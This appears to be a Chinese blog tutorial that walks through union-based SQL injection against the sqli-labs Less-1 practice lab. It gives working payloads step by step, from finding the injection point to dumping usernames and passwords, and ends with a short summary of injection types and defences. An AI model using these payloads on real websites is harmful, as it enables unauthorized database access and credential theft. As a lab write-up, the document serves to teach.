Union注入攻击

1.判断注入点

主要是判断两个条件
1.我们传入的参数是否可控
2.我们传入的参数能否在数据库执行

?id=1'
?id=1' and 1=1 --+
?id=1' and 1=2 --+

尝试单引号注入,发现报错信息

http://192.168.183.150:8081/Less-1/?id=1%27

在这里插入图片描述
将单引号闭合后,页面返回正常

http://192.168.183.150:8081/Less-1/?id=1%27%20and%201=1%20--+

在这里插入图片描述

2.查询字段

判断字段个数

?id=1' order by 3 --+
?id=1' order by 4 --+

判断字段是否有3个,页面返回正确信息,说明有至少3个字段

http://192.168.183.150:8081/Less-1/?id=1%27%20order%20by%203%20--+

在这里插入图片描述
判断字段是否有4个,页面返回信息可以看出没有4个字段,说明总共只有3个字段

http://192.168.183.150:8081/Less-1/?id=1%27%20order%20by%204%20--+

在这里插入图片描述
确定字段精确位置

?id=1' and 1=2 union select 1,2,3 --+
http://192.168.183.150:8081/Less-1/?id=1%27%20and%201=2%20union%20select%201,2,3%20--+

在这里插入图片描述

3.获取当前数据库

要让前面的报错,才会执行后面的内容

?id=1' and 1=2 union select 1,database(),version() --+
http://192.168.183.150:8081/Less-1/?id=1%27%20and%201=2%20union%20select%201,database(),user()%20--+

在这里插入图片描述

4.获取数据库的表名

?id=1' and 1=2 union select 1, (select group_concat(table_name)) from information_schema.tables WHERE table_schema='security'), 3 --+
http://192.168.183.150:8081/Less-1/?id=1%27%20and%201=2%20union%20select%201,%20(select%20group_concat(table_name)%20from%20information_schema.tables%20WHERE%20table_schema=%27security%27),%203%20--+

在这里插入图片描述

5.查看users表的字段

?id=1' and 1=2 union select 1, (select group_concat(column_name)) from information_schema.columns where table_name='users' and table_schema='security'),3 --+
http://192.168.183.150:8081/Less-1/?id=1%27%20and%201=2%20union%20select%201,%20(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%27security%27),3%20--+

在这里插入图片描述

6.查看表中字段的内容

?id=1' and1=2union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+
http://192.168.183.150:8081/Less-1/?id=1%27%20and%201=2%20union%20select%201,%20(select%20group_concat(username)%20from%20users),%20(select%20group_concat(password)%20from%20users)%20--+

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
为了回答您的问题,我需要先介绍一下SQL注入攻击的基本原理和设计。SQL注入攻击是一种利用Web应用程序中的安全漏洞,通过在用户输入的数据中注入恶意SQL代码来实现攻击的方式。攻击者可以通过SQL注入攻击获取到一些敏感数据,甚至修改或删除数据。SQL注入攻击通常可以分为以下几种类型: 1. 检索隐藏数据:攻击者可以通过注入恶意SQL代码来检索出数据库中隐藏的数据,例如管理员账号和密码等。 2. 破坏应用逻辑:攻击者可以通过注入恶意SQL代码来破坏应用程序的逻辑,例如绕过登录验证等。 3. 检索数据库:攻击者可以通过注入恶意SQL代码来检索出数据库中的数据,例如用户账号和密码等。 4. UNION攻击攻击者可以通过注入恶意SQL代码来将两个查询结果合并成一个结果集,从而获取到更多的数据。 5. 盲SQL注入攻击者可以通过注入恶意SQL代码来判断数据库中的数据是否符合某些条件,例如判断管理员账号和密码是否正确等。 为了防止SQL注入攻击,可以采取以下措施: 1. 使用参数化查询:参数化查询可以将用户输入的数据与SQL语句分开处理,从而避免注入攻击。 2. 过滤用户输入:对用户输入的数据进行过滤,例如去除特殊字符和注释等,可以有效地防止注入攻击。 3. 限制数据库用户权限:将数据库用户的权限限制在最小范围内,可以减少注入攻击的影响。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值